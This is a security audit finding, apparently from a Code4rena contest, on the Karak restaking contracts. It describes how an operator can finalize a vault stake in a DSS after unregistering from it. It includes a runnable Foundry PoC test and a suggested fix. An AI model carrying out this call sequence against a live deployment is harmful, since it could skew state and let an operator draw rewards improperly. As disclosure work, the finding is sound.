howlbot-integration[bot] commented 2 months ago

Lines of code

https://github.com/code-423n4/2024-07-karak/blob/f5e52fdcb4c20c4318d532a9f08f7876e9afb321/src/entities/Operator.sol#L20 https://github.com/code-423n4/2024-07-karak/blob/f5e52fdcb4c20c4318d532a9f08f7876e9afb321/src/entities/Operator.sol#L21 https://github.com/code-423n4/2024-07-karak/blob/f5e52fdcb4c20c4318d532a9f08f7876e9afb321/src/Core.sol#L130-L141 https://github.com/code-423n4/2024-07-karak/blob/f5e52fdcb4c20c4318d532a9f08f7876e9afb321/src/Core.sol#L113-L124 https://github.com/code-423n4/2024-07-karak/blob/f5e52fdcb4c20c4318d532a9f08f7876e9afb321/src/Core.sol#L146-L153

Vulnerability details

Impact

A lack of verification on the Core::finalizeUpdateVaultStakeInDSS() function permit an operator to abuse it and can make a vault considered as staked for the DSS even though the operator is not registered with this DSS. Potentially let the DSS send rewards on a vault for which the operator is not registered with this DSS.

Proof of Concept

We are interested in two different states in the Core contract:

The dssMap by operator represent the dss registered for the operator. And the vaultStakedInDssMap which represent the vault staked in DSS.

Look at this scenario:

An operator is registered on a DSS and have no vault considered as staked on that DSS.
The operator now call Core::requestUpdateVaultStakeInDSS() to create a request to stake one of its vaults in the DSS.
In waiting the delay to finalize the state update of staked vault, the operator call Core::unregisterOperatorFromDSS() and directly the operator is unregistered from the DSS.
When delay is passed, he can call Core::finalizeUpdateVaultStakeInDSS() and because the function not verify if the operator is already registered with the DSS, the call goes through and the state become skew.

This offset in this two state can be problematic on the DSS side, the Core::finalizeUpdateVaultStakeInDSS() function call a hook on the DDS if it implement one for his internal logic and state update. It can create a skewstate for the DSS and the operator can take advantage on it, e.g the vault can be considered as staked on the DSS and therefore receive reward from the DSS, but is not officially considered like this in the Core contract because the operator is not registered to the DSS.

Poc

You can add this PoC to the ./test/nativeRestaking/nativeVault.t.sol :

    function test_NotValidState() public {
        //Setup
        vm.warp(1718549030);
        NativeVault unslashableVault;
        DSSContract dss = new DSSContract();

        vm.startPrank(address(dss));
        core.registerDSS(100000000000000000000);
        vm.stopPrank();       
        // Setup NativeNode implementation
        address nativeNodeImpl = address(new NativeNode());

        // Deploy Vaults
        VaultLib.Config[] memory vaultConfigs = new VaultLib.Config[](1);
        vaultConfigs[0] = VaultLib.Config({
            asset: Constants.DEAD_BEEF,
            decimals: 18,
            operator: operator,
            name: "NativeTestVault",
            symbol: "NTV",
            extraData: abi.encode(address(manager), slashStore, address(nativeNodeImpl))
        });

        //The operator register to the dss and deploy a vault
        vm.startPrank(operator);
        IDSS dssInterface = IDSS(address(dss));
        core.registerOperatorToDSS(dssInterface, bytes(""));
        IKarakBaseVault[] memory vaults = core.deployVaults(vaultConfigs, address(0));
        unslashableVault = NativeVault(address(vaults[0]));

        // Begin of the scenario

        //Register vault staked for dss, even when its unstack
        Operator.StakeUpdateRequest memory stakeRequest = Operator.StakeUpdateRequest({
            vault: address(unslashableVault),
            dss: dssInterface,
            toStake: true
        });
        Operator.QueuedStakeUpdate memory queuedStake = core.requestUpdateVaultStakeInDSS(stakeRequest);
        //The operator unregister the operator from the dss
        core.unregisterOperatorFromDSS(dssInterface, bytes(""));
        vm.warp(1718549030 + 10 days);
        //Finalize adding the vault stake in dss
        core.finalizeUpdateVaultStakeInDSS(queuedStake);
        vm.stopPrank();

        //Check operatorState.vaultStakedInDssMap[dss]
        address[] memory result = core.fetchVaultsStakedInDSS(operator, dssInterface);
        for (uint256 i = 0; i < result.length; i++) {
            console.log("%s", result[i]);
        }
    }

Now execute this command: forge test --mt test_NotValidState -vvv

Tools Used

Manual Review

Recommended Mitigation Steps

You can add this verification checkIfOperatorIsRegInRegDSS() on the Core::finalizeUpdateVaultStakeInDSS() function to verify if the operator is not unregistered from the dss.